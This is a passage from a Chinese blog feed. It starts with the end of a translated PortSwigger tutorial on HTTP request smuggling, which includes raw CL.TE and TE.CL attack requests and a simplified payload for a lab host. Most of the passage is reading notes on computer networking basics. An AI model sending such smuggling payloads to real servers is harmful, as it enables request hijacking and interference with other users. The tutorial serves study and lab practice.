application/x-www-form-urlencodedContent-Length: 11q=smuggling</code></pre><p>&emsp;&emsp;现在, 由于此请求包含了无效URL(或者确实存在404这个页面), 服务器将会以状态吗响应, 表明前述的攻击确实干扰到他了. </p><h4 id="根据响应差异来确定-te-cl-漏洞"><a href="#根据响应差异来确定-TE-CL-漏洞" class="headerlink" title="根据响应差异来确定 TE. CL 漏洞"></a>根据响应差异来确定 TE. CL 漏洞</h4><p>&emsp;&emsp;在发送正常请求前, 发送如下攻击请求:</p><pre><code class="http">POST /search HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 4Transfer-Encoding: chunked7cGET /404 HTTP/1.1Host: vulnerable-website.comContent-Type: application/x-www-form-urlencodedContent-Length: 144x=0</code></pre><p>&emsp;&emsp;现在, 由于此请求包含了无效URL(或者确实存在404这个页面), 服务器将会以状态吗响应, 表明前述的攻击确实干扰到他了. </p><h4 id="注意事项"><a href="#注意事项" class="headerlink" title="注意事项"></a>注意事项</h4><ul><li>在测试时不可复用连接, 因为复用连接的情况下无法判定是请求走私发生了还是仅仅是多个请求的结果</li><li>两次请求要尽量使用相同的URL和参数名称. 因为许多前端服务根据他们将请求分发到不同的后端服务, 使用相同的URL和参数名可以增加同一后端处理的可能性</li><li>在测试时如果存在其他请求的干扰, 将会产生竞争, 因为可能我们的恶意请求会拼接上其他请求而非我们构造的那个请求</li><li>如果测试成功, 但是受到影响的并非是我方发出的下一个”正常请求”, 这就说明这次测试干涉到了其他用户, 此时应当谨慎行事.</li></ul><h4 id="实际应用上的一些注意点"><a href="#实际应用上的一些注意点" class="headerlink" title="实际应用上的一些注意点"></a>实际应用上的一些注意点</h4><blockquote><p>本部分为个人总结, 测试数据来自PortSwigger的Lab: <strong>HTTP request smuggling, confirming a TE.CL vulnerability via differential responses</strong></p></blockquote><p>&emsp;&emsp;在利用响应差异确认请求走私漏洞存在时要注意一下几点:</p><ul><li><p>可以用更为简单的方式测试, 比如对于提到的Lab环境, 就可以直接发送两次如下请求:</p><pre><code class="http">POST / HTTP/1.1Host: your-lab-subhost.web-security-academy.netContent-Type: application/x-www-form-urlencodedContent-length: 4Transfer-Encoding: chunked5eGET /404 HTTP/1.1Content-Type: application/x-www-form-urlencodedContent-Length: 12x=110</code></pre><p>  这里还有很多东西是灵活的, 比如请求方式, 走私请求报文中的 <code>Content-Length</code> , 之后带的参数, 很多都是为了符合格式而设定的</p><p>  关于走私请求报文中的 <code>Content-Length</code>, 最小要大于拼接前的实际长度, 最大最好不要大于拼接后的实际长度, 在这个区间内也是可以变动的</p></li><li><p>在测试之前要将 <code>HTTP</code> 设定为 <code>HTTP/1</code> .</p></li></ul><blockquote><p>翻译整合自:</p><ul><li><a href="https://portswigger.net/web-security/request-smuggling">HTTP request smuggling</a></li><li><a href="https://portswigger.net/web-security/request-smuggling/finding">Finding HTTP request smuggling vulnerabilities</a></li></ul></blockquote>]]></content>
    
    
    <summary type="html">记录了一些经典的请求走私的概念, 手法等喵~</summary>
    
    
    
    <category term="笔记" scheme="https://101.43.94.206/categories/%E7%AC%94%E8%AE%B0/"/>
    
    
    <category term="Web" scheme="https://101.43.94.206/tags/Web/"/>
    
    <category term="CTF" scheme="https://101.43.94.206/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title>计网读书笔记</title>
    <link href="https://101.43.94.206/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/"/>
    <id>https://101.43.94.206/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/</id>
    <published>2025-09-16T14:03:49.000Z</published>
    <updated>2025-09-16T14:04:18.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="计网自顶向下读书笔记"><a href="#计网自顶向下读书笔记" class="headerlink" title="计网自顶向下读书笔记"></a><a href>计网自顶向下读书笔记</a></h1><p>&emsp;&emsp;个人笔记, 主要记录<font color="#ff9f9f">计算机网络自顶向下方法</font>, 没有详细记录全部内容, 存在一些补充或者个人理解. 存在额外内容, 额外内容会特别标注. </p><h2 id="一-计算机网络和因特网"><a href="#一-计算机网络和因特网" class="headerlink" title="一. 计算机网络和因特网"></a>一. 计算机网络和因特网</h2><h3 id="网络核心"><a href="#网络核心" class="headerlink" title="网络核心"></a>网络核心</h3><p>&emsp;&emsp;网络核心由由各种路由&#x2F;转发设备组成. 通过路由设备将各个不同的网络进行相连，使各个端系统连接. </p><p>&emsp;&emsp;通过网络链路和交换机传输数据有两种基本方法:<font color="#ff9f9f"><strong>分组交换</strong></font>和<font color="#ff9f9f"><strong>电路交换</strong></font>. </p><h4 id="分组交换"><a href="#分组交换" class="headerlink" title="分组交换"></a>分组交换</h4><p>&emsp;&emsp;在各种网络应用中、端系统彼此交换<font color="#ff9f9f"><strong>报文</strong></font> .  报文能够包含协议设计者需要的任何东西.  报文可以执行一种控制功能，也可以包含数据，例如电子邮件数据、 JPEG 图像或 MP3 音频文件.  </p><p>&emsp;&emsp;为了从源端系统向目的端系统发送一个报文，源将长报文划分为较小的数据块，称之为<font color="#ff9f9f"><strong>分组</strong></font>. 在源和目的地之间，每个分组都通过<font color="#ff9f9f"><strong>通信链路</strong></font>和<font color="#ff9f9f"><strong>分组交换机</strong></font>传送. 分组传输时会以其链路的最大传输速率通过. </p><blockquote><p>交换机主要有两类，<font color="#ff9f9f"><strong>路由器</strong></font>和<font color="#ff9f9f"><strong>链路层交换机</strong></font></p></blockquote><p>&emsp;&emsp;<strong>1.存储转发传输</strong></p><p>&emsp;&emsp;多数分组交换机在链路的<em>输入端</em>使用<font color="#ff9f9f"><strong>存储转发传输</strong></font>机制. 存储转发传输是指在交换机能够开始向输出链路传输该分组的第一个比特之前，必须接收到整个分组. </p><p>&emsp;&emsp;<strong>2.排队时延和分组丢失</strong></p><p>&emsp;&emsp;每台分组交换机与多条链路相连. 对于每条相连的链路，该分组交换机具有一个<font color="#ff9f9f"><strong>输出缓存</strong> </font>(也称为<font color="#ff9f9f"><strong>输出队列</strong></font>) , 用于存储路由器准备发往那条链路的分组. 该输出缓存在分组交换中起着重要的作用.  </p><p>&emsp;&emsp;如果到达的分组需要传输到某条链路，但发现该链路正忙于传输其他分组，该到达分组必须在输出缓存中等待. 因此，除了存储转发时延以外，分组还要承受<font color="#ff9f9f"><strong>输出缓存的排队时延</strong></font>. 这些时延是变化的，变化的程度取决于网络的拥塞程度. 因为缓存空间的大小是有限的，一个到达的分组可能发现该缓存已被其他等待传输的分组完全充满了. 在此情况下，将出现<font color="#ff9f9f"><strong>分组丢失</strong></font>(即<font color="#ff9f9f"><strong>丢包</strong></font>),到达的分组或已经排队的分组之一将被丢弃. </p><p>&emsp;&emsp;<strong>3.转发表和路由选择协议</strong></p><p>&emsp;&emsp;路由器从与它相连的一条通信链路得到分组，然后向与它相连的另一 条通信链路转发该分组.  但是路由器怎样决定它应当向哪条链路进行转发呢？</p><p>&emsp;&emsp;在因特网中，每个端系统具有一个称为<font color="#ff9f9f"><strong>IP地址</strong></font>的地址. 当源主机要向目的端系统发送一个分组时，源在该分组的首部包含了目的地的IP地址. 当一个分组到达网络中的路由器时，路由器检查该分组的目的地址的一部分，并向一台相邻路由器转发该分组. </p><p>&emsp;&emsp;每台路由器具有一个<font color="#ff9f9f"><strong>转发表</strong></font>, 用于将目的地址(或目的地址的一部分)映射成为输出链路. 当某分组到达一台路由器时，路由器检查该地址，并用这个目的地址搜索其转发表，以发现适当的出链路. 路由器则将分组导向该出链路. </p><blockquote><p>因特网具有一些特殊的<font color="#ff9f9f"><strong>路由选择协议</strong></font>用于自动地设置这些转发表.  具体内容在之后的章节讨论. </p></blockquote><h4 id="电路交换"><a href="#电路交换" class="headerlink" title="电路交换"></a>电路交换</h4><p>&emsp;&emsp;在电路交换网络中，在端系统间通信会话期间，预留了端系统间沿路径通信所需要的资源(缓存，链路传输速率). <em>在分组交换网络中．这些资源则不是预留的</em>. 会话的报文按需使用这些资源，其后果可能是不得不等待（即排队）接入通信线路.  </p><p>&emsp;&emsp;传统的电话网络是电路交换网络的例子. 考虑当一个人通过电话网向另一个人发送信息（语音或传真）时所发生的情况. 在发送方能够发送信息之前，该网络必须在发送方和接收方之间建立一条连接. 这是一个名副其实的连接，因为此时沿着发送方和接收方之间路径上的交换机都将为该连接维护连接状态. 用电话的术语来说，该连接被称为一条<font color="#ff9f9f"><strong>电路</strong></font>. 当网络创建这种电路时，它也在连接期间在该网络链路上预留了恒定的传输速率（表示为每条链路传输容量的一部分）既然已经为该发送方–接收方连接预留了带宽，则发送方能够以确保的恒定速率向接收方传送数据. </p><p>&emsp;&emsp;以下是一个例子：</p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/1.png"><p>&emsp;&emsp;考虑一台主机要经过分组交换网络（如因特网）向另一台主机发送分组所发生的情况. 与使用电路交换相同，该分组经过一系列通信链路传输.  但与电路交换不同的是，该分组被发送进网络，而不预留任何链路资源之类的东西.  如果因为此时其他分组也需要经该链路进行传输而使链路之一出现拥塞，则该分组将不得不在传输链路发送侧的缓存中等待而产生时延.  因特网尽最大努力以实时方式交付分组，但它不做任何保证. </p><p><strong>1.电路交换网络中的复用</strong></p><p>&emsp;&emsp;复用是为了将链路划分为多个电路以满足多个用户数据传输的需求. 如上图1-13中，每条链路被划分为4条电路，就是链路的复用. </p><p>&emsp;&emsp;链路中的电路是通过<font color="#ff9f9f"><strong>频分复用 (FDM)</strong></font> 或<font color="#ff9f9f"><strong>时分复用 (TDM)</strong></font>来实现的.  </p><p>&emsp;&emsp;对于 FDM, 链路的频谱由跨越链路创建的所有连接共享.  特别是，在连接期间链路<em>为每条连接专用一个频段</em>.  在电话网络中，这个频段的宽度通常为4kHz (即每秒4000 周期). 毫无疑问，该频段的宽度称为<font color="#ff9f9f"><strong>带宽</strong></font>.  调频无线电台也使用 FDM来共享88MHz ~ 108MHz 的频谱、其中每个电台被分配 一个特定的频段. </p><p>&emsp;&emsp;对于一条TDM链路，时间被划分为<font color="#ff9f9f"><strong>固定期间的帧</strong></font>，并且每个帧又被划分为固定数量的<font color="#ff9f9f"><strong>时隙</strong></font>.  当网络跨越一条链路创建一条连接（电路）时，网络在每个帧中为该连接指定一个时隙， 这些时隙专门由该连接单独使用，一个时隙（在每个帧内）可用于传输该连接的数据. </p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/2.png"><p><strong>2.分组交换与电路交换的对比</strong></p><ul><li><p><font color="#ff9f9f"><strong>电路连接不适合计算机之间的通信</strong></font></p></li><li><p>连接建立的时间成本较高. </p></li><li><p>计算机之间的通信具有突发性，如果使用电路交换，则浪费的资源较多（即连接建立后就是两个端系统的专用连接，即使空闲，也不能被其他的呼叫（请求）利用.</p></li></ul><h3 id="分组交换网中的时延丢包和吞吐量"><a href="#分组交换网中的时延，丢包和吞吐量" class="headerlink" title="分组交换网中的时延，丢包和吞吐量"></a>分组交换网中的时延，丢包和吞吐量</h3><h4 id="分组交换网中的时延概述"><a href="#分组交换网中的时延概述" class="headerlink" title="分组交换网中的时延概述"></a>分组交换网中的时延概述</h4><p>&emsp;&emsp;分组从一台主机(源)出发，通过一系列路由器传输，在另一台主机(目的地)中结束它的历程.  当分组从一个节点（主机或路由器）沿着这条路径到后继节点(主机或路由器)，该分组在沿途的每个节点经受了几种不同类型的时延.  这些时延最为重要的是<font color="#ff9f9f">**节点处理时延 **</font>、<font color="#ff9f9f"><strong>排队时延</strong></font>、<font color="#ff9f9f"><strong>发送时延（又称传输时延）</strong></font>和<font color="#ff9f9f"><strong>传播时延</strong></font>, 这些时延总体累加起来是<font color="#ff9f9f"><strong>节点总时延</strong></font>. </p><blockquote><p>计算：<br>发送时延 &#x3D; 数据帧长度(b) &#x2F; 信道带宽(b&#x2F;s)<br>传播时延 &#x3D; 信道长度(m) &#x2F; 电磁波在信道上的传播速率(m&#x2F;s)</p></blockquote><p>&emsp;&emsp;<strong>1.时延对的类型</strong></p><ul><li><p>处理时延 (nodal processing delay) </p><p>  检查分组首部和决定将该分组导向何处所需要的时间是处理时延的一部分. 处理时延也能够包括其他因素，如检查比特级别的差错所需要的时间，该差错出现在从上游节点向路由器A传输这些分组比特的过程中.  高速路由器的处理时延通常是微秒或更低的数量级. 在这种节点处理之后，路由器将该分组引向通往路由器B链路之前的队列. </p></li><li><p>排队时延(queuing delay)</p><p>  在队列中，当分组在链路上等待传输时，它经受排队时延. 实际的排队时延可以是毫秒到微秒量级. </p></li><li><p>发送时延（传输时延）( transmission delay)</p><p>  假定分组以先到先服务方式传输，这在分组交换网中是常见的方式. 仅当所有已经到达的分组被传输后，才能传输刚到达的分组.  用L bit表示该分组的长度，用 R bps表示从路由器A到路由器B的链路传输速率. 例如,对于一条10Mbps的以太网链路，速率R&#x3D;10Mbps; 对于 100Mhps的以太网链路，速率R&#x3D;100Mbps.  传输时延是L&#x2F;R. <font color="#ff9f9f"><strong>这是将所有分组的比特推向链路（即传输，或者说发射）所需要的时间</strong></font>.  实际的传输时延通常在毫秒到微秒量级. </p></li><li><p>传播时延(propagation delay)</p><p>  数据从该链路的起点到目的地传播所需要的时间是传播时延. 该传播速率取决于该链路的物理媒体，等于或略小于光速.</p></li></ul><h4 id="排队时延和丢包"><a href="#排队时延和丢包" class="headerlink" title="排队时延和丢包"></a>排队时延和丢包</h4><p><strong>1.排队时延</strong></p><p>&emsp;&emsp;令a表示分组到达队列的平均速率 (a 的单位是分组&#x2F;秒，即pkt&#x2F;s) ，R bps是传输速率，为了简单起见，也假定所有分组都是由L bit组成的.  则比特到达队列的平均速率 是La bps.  最后，假定该队列非常大，因此它基本能容纳无限数量的比特.  比率La&#x2F;R被称为<font color="#ff9f9f"><strong>流量强度</strong></font>. 它在估计排队时延的范围方面经常起着重要的作用. </p><p>&emsp;&emsp;若流量强度&gt;1, 则比特到达队列的平均速率超过从该队列传输出去的速率. 在这种情况下，该队列趋向于无限增加，并且排队时延将趋向无穷大. 因此，流量工程中的一条铁律是：*设计系统时流量强度不能大于1. *</p><p>&emsp;&emsp;随着流量强度接近1，平均排队时延迅速增加. 该强度的少量增加将导致时延大比例增加. </p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/3.png"><p><strong>2.丢包</strong></p><p>&emsp;&emsp; 一条链路前的队列只有有限的容量. 因为该排队容量是有限的，随着流量强度接近1, 到达的分组将发现一个满的队列. 由于没有地方存储这个分组，路由器将<font color="#ff9f9f"><strong>丢弃</strong></font>该分组. </p><h4 id="计算机网络中的吞吐量"><a href="#计算机网络中的吞吐量" class="headerlink" title="计算机网络中的吞吐量"></a>计算机网络中的吞吐量</h4><p>&emsp;&emsp;除了时延和丢包，计算机网络中另一个至关重要的性能测度是<font color="#ff9f9f"><strong>端到端吞吐量</strong></font>. </p><p>&emsp;&emsp;为了定义吞吐量，考虑从主机A到主机B跨越计算机网络传送一个大文件，在任何瞬间的<font color="#ff9f9f"><strong>瞬时吞吐量</strong></font>是主机B接收到该文件的速率(bps). 如果该文件由 F 比特组成， 主机B接收到所有F比特用时T秒，则文件传送的<font color="#ff9f9f"><strong>平均吞吐量</strong></font>是F&#x2F;T bps. </p><p>&emsp;&emsp;对于一个链路传输，其吞吐量是<font color="#ff9f9f"><strong>瓶颈链路</strong></font>的传输速率，即连接两端的所有链路中，传输速率最小的链路的传输速率. </p><h3 id="协议层次及其服务模型"><a href="#协议层次及其服务模型" class="headerlink" title="协议层次及其服务模型"></a>协议层次及其服务模型</h3><h4 id="分层的体系结构"><a href="#分层的体系结构" class="headerlink" title="分层的体系结构"></a>分层的体系结构</h4><p><strong>1.协议分层</strong></p><p>&emsp;&emsp;为了给网络协议的设计提供一个结构，网络设计者以<font color="#ff9f9f"><strong>分层</strong></font>的方式组织协议以及实现这些协议的网络硬件和软件，每个协议属于这些层次之一. 某层向它的上一层提供的<font color="#ff9f9f"><strong>服务</strong></font>, 即所谓一层的<font color="#ff9f9f"><strong>服务模型</strong></font> . </p><p>&emsp;&emsp;每层通过在该层中执行某些动作或使用直接下层的服务来提供服务.  例如，由第n层提供的服务可能包括报文从网络的 一边到另一边的可靠交付.  这可能是通过使用第n-1层的边缘到边缘的不可靠报文传送服务，加上第n层的检测和重传丢失报文的功能来实现的. </p><p>&emsp;&emsp;一个协议层能够用软件、硬件或两者的结合来实现. 诸如 HTTP和SMTP这样的应用 层协议几乎总是在端系统中用软件实现，运输层协议也是如此.  物理层和数据链路层负责处理跨越特定链路的通信，它们通常在与给定链路相关联的网络接口卡（例如以太网 或WiFi 接口卡）中实现.  网络层经常是硬件和软件实现的混合体.  </p><p>&emsp;&emsp;还要注意的是，一个第 n 层协议也分布在构成该网络的端系统、分组交换机和其他组件中.  这就是说，第n层协议的不同部分常常位于这些网络组件的各部分中. </p><p>&emsp;&emsp;协议分层具有概念化和结构化的优点. 如我们看到的那样，分层提供了一种结构化方式来讨论系统组件，模块化使更新系统组件更为容易. </p><p>&emsp;&emsp;各层的所有协议被称为<font color="#ff9f9f"><strong>协议栈</strong></font>. </p><p><strong>1.1因特网协议栈</strong></p><p>&emsp;&emsp;因特网的协议栈由5个层次组成：<font color="#ff9f9f"><strong>物理层</strong></font>、<font color="#ff9f9f"><strong>链路层</strong></font>、<font color="#ff9f9f"><strong>网络层</strong></font>、<font color="#ff9f9f"><strong>运输层</strong></font>和<font color="#ff9f9f"><strong>应用层</strong></font>. </p><blockquote><p>本书的“自顶向下”既是“以因特网协议栈的层次从上往下”的意思</p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/4.png"></blockquote><ul><li>5.应用层</li></ul><p>&emsp;&emsp;应用层是网络应用程序及它们的应用层协议存留的地方.  因特网的应用层包括许多协议，例如HTTP (它提供了Web文档的请求和传送)、SMTP (它提供了电子邮件报文的传输)和FTP (它提供两个端系统之间的文件传送). 我们将看到，某些网络功能，如将像 www. ietf. org 这样对人友好的端系统名字转换为32比特的网络地址(域名解析)，也是借助于特定的应用层协议即域名系统(DNS)完成的. </p><p>&emsp;&emsp;应用层协议分布在多个端系统上，而一个端系统中的应用程序使用协议与另一个端系统中的应用程序交换信息分组. 我们把这种位于应用层的信息分组就是常常提及的<font color="#ff9f9f"><strong>报文</strong></font>. </p><ul><li>4.运输层</li></ul><p>&emsp;&emsp;因特网的运输层在应用程序端点之间传送应用层报文. 在因特网中，有两种运输协议，即TCP和UDP, 利用其中的任一个都能运输应用层报文. </p><p>&emsp;&emsp;TCP 向它的应用程序提供了面向连接的服务.  这种服务包括了应用层报文向目的地的确保传递和流量控制(即发送方&#x2F;接收方速率匹配). TCP也将长报文划分为短报文，并提供拥塞控制机制，因此当网络拥塞时，源抑制其传输速率. </p><p>&emsp;&emsp;UDP协议向它的应用程序提供无连接服务. 这是一种不提供不必要服务的服务，没有可靠性，没有流量控制，也没有拥塞控制.  </p><blockquote><p>粗略的说，TCP协议更可靠，相对资源要求也更高(数据大小，时延等). UDP则反之. </p></blockquote><p>&emsp;&emsp;在本书中，我们把运输层的分组称为<font color="#ff9f9f"><strong>报文段</strong></font>. </p><ul><li>3.网络层</li></ul><p>&emsp;&emsp;网络层负责将网络层分组从一台主机移动到另一 台主机，网络层分组称为<font color="#ff9f9f"><strong>数据报</strong></font>. 在一台源主机中的运输层协议 (TCP或UDP) 向网络层递交报文段和目的地址. </p><p>&emsp;&emsp;网络层包括著名的网际协议IP, 该协议定义了在数据报中的各个字段以及端系统和路由器如何作用于这些字段. 一个端系统的IP仅有一个，所有具有网络层的因特网组件必须运行IP.  因特网的网络层也包括决定路由的路由选择协议，它根据该路由将数据报从源传输到目的地. </p><p>&emsp;&emsp;尽管网络层包括了其他网际协议和一些路由选择协议，但通常把它简单地称为IP层，这反映了 IP是将因特网连接在一起的黏合剂这样的事实. </p><ul><li>2.链路层</li></ul><p>&emsp;&emsp;为了将分组从一个 节点(主机或路由器)移动到路径上的下一个节点，网络层必须依靠该链路层的服务. 特别是在每个节点，网络层将数据报下传给链路层，链路层沿着路径将数据报传递给下一个节点. 在该下一个节点，链路层将数据报上传给网络层. </p><p>&emsp;&emsp;由链路层提供的服务取决于应用于该链路的特定链路层协议. 例如，某些协议基于链路提供可靠传递，从传输节点跨越一条链路到接收节点. </p><p>&emsp;&emsp;值得注意的是，这种可靠的传递 服务不同于TCP的可靠传递服务，TCP提供从一个端系统到另一个端系统的可靠交付.  链路层的例子包括以太网、 WiFi和电缆接入网的DOCSIS协议. 因为数据报从源到目的地传送通常需要经过几条链路，一个数据报可能被沿途不同链路上的不同链路层协议处理.  例如，一个数据报可能被一段链路上的以太网和下一段链路上的PPP所处理. 网络层将受到 来自每个不同的链路层协议的不同服务.  在本书中，我们把链路层分组称为<font color="#ff9f9f"><strong>帧</strong></font>. </p><ul><li>1.物理层</li></ul><p>&emsp;&emsp;虽然链路层的任务是将整个帧从一个网络元素移动到邻近的网络元素，而物理层的任务是将该帧中的一个个比特从一个节点移动到下一个节点. </p><p><strong>1.2 OSI模型</strong></p><p>&emsp;&emsp;OSI模型即是开放系统互连模型，其参考模型有七层：应用层、表示层、会话层、运输层、网 络层、数据链路层和物理层. </p><p>&emsp;&emsp;这些层次中， 5层的功能大致与它们名字类似的因特网对应层的功能相同. 所以，我们来考虑OSI参考模型中附加的两个层，即表示层和会话层. 表示层的作用是使通信的应用程序能够解释交换数据的含义.  这些服务包括数据压缩和数据 加密(它们是自解释的)以及数据描述(这使得应用程序不必担心在各台计算机中表示／存储的内部格式不同的问题). 会话层提供了数据交换的定界和同步功能，包括了建立检查点和恢复方案的方法. </p><h4 id="封装"><a href="#封装" class="headerlink" title="封装"></a>封装</h4><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/5.png"><p>&emsp;&emsp;上图显示了这样一条物理路径：数据从发送端系统的协议栈向下，沿着中间的链 路层交换机和路由器的协议栈上上下下，然后向上到达接收端系统的协议栈. </p><p>&emsp;&emsp;路由器和链路层交换机都是分组交换机，与端系统类似，路由器和链路层交换机以多层次的方式组织它们的网络硬件和软件. 而路由器和链路层交换机并不实现协议栈中的所有层次. 如图所示，链路层交换机实现了第一层和第二层；路由器实现了第一层到第三层. 这意味着因特网路由器能够实现IP协议，而链路层交换机则不能. 尽管链路层交换机不能识别IP地址，但它们能够识别第二层地址，如以太网地址. 值得注意的是，主机实现了所有5个层次，这与因特网体系结构将它的复杂性放在网络边缘的观点是一致的. </p><p>&emsp;&emsp;上图也说明了一个重要概念：<font color="#ff9f9f"><strong>封装</strong></font>. 在发送主机端，一个<font color="#ff9f9f"><strong>应用层报文</strong></font>(图中的M) 被传送给运输层. 在最简单的情况下，运输层收取到报文并附上附加信息(所谓运输层首部信息，图中的H<sub>t</sub>)该首部将被接收端的运输层使用. 应用层报文和运输层首部信息一道构成了<font color="#ff9f9f"><strong>运输层报文段</strong></font>.  运输层报文段因此封装了应用层报文. 附加的信息也许包括了下列信息：允许接收端运输层向上向适当的应用程序交付报文的信息；差错检测位信息，该信息让接收方能够判断报文中的比特是否在途中已被改变. 运输层则向网络层传递该报文段，网络层增加了如源和目的端系统地址等网络层首部信息（图中的H<sub>n</sub>)生成了<font color="#ff9f9f"><strong>网络层数据报</strong></font>. 该数据报接下来被传递给链路层，链路层增加它自己的链路层首部信息并生成<font color="#ff9f9f"><strong>链路层帧</strong></font>.  所以我们看到，在每一 层，一个分组具有两种类型的字段： <font color="#ff9f9f"><strong>首部字段(头)</strong></font>和<font color="#ff9f9f"><strong>有效载荷字段</strong></font>.  有效载荷通常是来自上一层的分组. </p><p>&emsp;&emsp;封装的过程能够比前面描述的更为复杂.  例如，一个大报文可能被划分为多个运输层的报文段(这些报文段每个又可能被划分为多个网络层数据报). 在接收端，则必须从其连续的数据报中重构这样一个报文段. </p><h3 id="面对攻击的网络"><a href="#面对攻击的网络" class="headerlink" title="面对攻击的网络"></a>面对攻击的网络</h3><ul><li><p>病毒</p><p>  <font color="#ff9f9f"><strong>病毒</strong></font>是一种需要某种形式的用户交互来感染用户设备的恶意软件. </p></li><li><p>蠕虫</p><p>  <font color="#ff9f9f"><strong>蠕虫</strong></font>是一种无须任何明显用户交互就能进入设备的恶意软件. </p></li><li><p>Dos,拒绝服务攻击</p><p>  DoS攻击使得网络、 主机或其他基础设施部分不能由合法用户使用. 大多数因特网DoS攻击属于下列三种类型之一：</p><ul><li><p>弱点攻击</p><p>  即针对对方的漏洞进行攻击</p></li><li><p>带宽洪泛</p><p>  攻击者向目标主机发送大量的分组，分组数量之多使得目标的接入链路变得拥塞，使得合法的分组无法到达服务器. </p></li><li><p>连接洪泛</p><p>  攻击者在目标主机中创建大量的半开或全开TCP连接，该主机因这些伪造的连接而陷入困境，并停止接受合法的连接.</p></li></ul><p>  下图所示的即是分布式DoS（DDoS），攻 击者控制多个源并让每个源向目标猛烈发送流量.</p></li></ul><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/6.png">    <ul><li><p>分组嗅探</p><p>  &emsp;&emsp;在无线传输设备的附近放置一台被动的接收机，该接收机就能得到传输的每个分组的副本. 这些分组包含了各种敏感信息，包括口令、社会保险号、商业秘密和个人信息等. 记录每个流经的分组副本的被动接收机被称为<font color="#ff9f9f"><strong>分组嗅探器</strong></font>（wireshark就是其中之一）. </p><p>  &emsp;&emsp;由于分组嗅探是被动的，它并不会在信道中注入其他分组，所以基本无法检测其存在. 所以我们才要加密数据. </p></li><li><p>IP欺诈</p><p>  &emsp;&emsp;具有虚假源地址的分组注入因特网的能力被称为<font color="#ff9f9f"><strong>IP哄骗</strong></font>, 而它只是一个用户能够冒充另一个用户的许多方式中的一种. 为了解决这个问题，我们需要采用端点鉴别，即一种使我们能够确信一个报文源自我 们认为它应当来自的地方的机制（比如http请求中的remote_addr).</p></li></ul><h2 id="二-应用层"><a href="#二-应用层" class="headerlink" title="二. 应用层"></a>二. 应用层</h2><h3 id="网络应用原理"><a href="#网络应用原理" class="headerlink" title="网络应用原理"></a>网络应用原理</h3><p>&emsp;&emsp;研发网络应用程序的核心是写出能够<font color="#ff9f9f"><strong>运行在不同的端系统</strong></font>和<font color="#ff9f9f"><strong>通过网络彼此通信的程序</strong></font>. </p><blockquote><p>例如,在Web应用程序中,有两个互相通信的不同的程序: 一个是运行在用户主机(桌面机、膝上机、平板电脑、智能电话等) 上的浏览器程序,另一个是运行在Web服务器主机. </p></blockquote><p>&emsp;&emsp;网络核心设备并不在应用层上起作用,而仅在较低层起作用,特别是在网络层及以下层次起作用. 将应部用软件限制在端系统的方法,促进了大量的网络应用程序的迅速研发和部署(因为不用考虑下层了). </p><h4 id="网络应用体系"><a href="#网络应用体系" class="headerlink" title="网络应用体系"></a>网络应用体系</h4><p>&emsp;&emsp;当进行软件编码之前,应当对应用程序有一个宽泛的体系结构计划. 应用程序的体系结构明显不同于网络的体系结构(例如在第1章中所讨论的5层因特网体系结构). </p><blockquote><p>从应用程序研发者的角度看,网络体系结构是固定的,并为应用程序提供了特定的服务集合</p></blockquote><p>&emsp;&emsp;另外,<font color="#ff9f9f"><strong>应用体系结构</strong></font>由应用程序研发者设计,规定了如何在各种端系统上组织该应用程序. 在选择应用程序体系结构时,应用程序研发者很可能利用现代网络应用程序中所使用的两种主流体系结构之一:<font color="#ff9f9f"><strong>客户-服务器体系结构</strong></font>或<font color="#ff9f9f"><strong>对等(P2P)体系结构</strong></font>. </p><ul><li><strong>客户-服务器体系结构</strong></li></ul><p>&emsp;&emsp;在客户-服务器体系结构中,有一个总是打开的主机,称为<font color="#ff9f9f"><strong>服务器</strong></font>,它服务于来自许多其他称为客户的主机. 值得注意的是,客户-服务器体系结构下,<em>客户相互之间不直接通信</em>. </p><p>&emsp;&emsp;客户-服务器体系结构的另一个特征是该服务器具有固定的、周知的地址,该地址称为IP地址. </p><p>&emsp;&emsp;在一个客户-服务器应用中,常常会出现一台单独的服务器主机跟不上它所有客户请求的情况. 例如,一个流行的社交网络站点如果仅有一台服务器来处理所有请求,将很快变得不堪重负. 为此,托管大量主机的<font color="#ff9f9f"><strong>数据中心</strong></font>常被用于创建强大的虚拟服务器，用以满足客户需求. </p><p>&emsp;&emsp;</p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/7.png"><ul><li>P2P体系结构</li></ul><p>&emsp;&emsp;在P2P体系结构中,对位于数据中心的专用服务器有最小的(或者没有)依赖. 相反,应用程序在间断连接的主机对之间使用直接通信,这些主机对被称为<font color="#ff9f9f"><strong>对等方</strong></font>. 这些对等方并不为服务提供商所有,而是为用户的台式机和笔记本电脑所控制. 因为这种对等方通信不必通过专门的服务器,该体系结构被称为对等方到对等方的. 流行的P2P应用的例子是文件共享应用BitTorrent. </p><p>&emsp;&emsp;P2P体系结构的特性之一是其<font color="#ff9f9f"><strong>自扩展性</strong></font>. 例如,在一个P2P文件共享应用中,尽管每个对等方都由于请求文件产生工作负载,但每个对等方通过向其他对等方分发文件也为系统整体增加服务能力. P2P体系结构也是有成本效率的,因为它通常不需要庞大的服务器基础设施和服务器带宽. 然而,未来P2P应用由于高度非集中式结构,面临安全性、性能和可靠性等挑战. </p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/8.png"><h4 id="进程通信"><a href="#进程通信" class="headerlink" 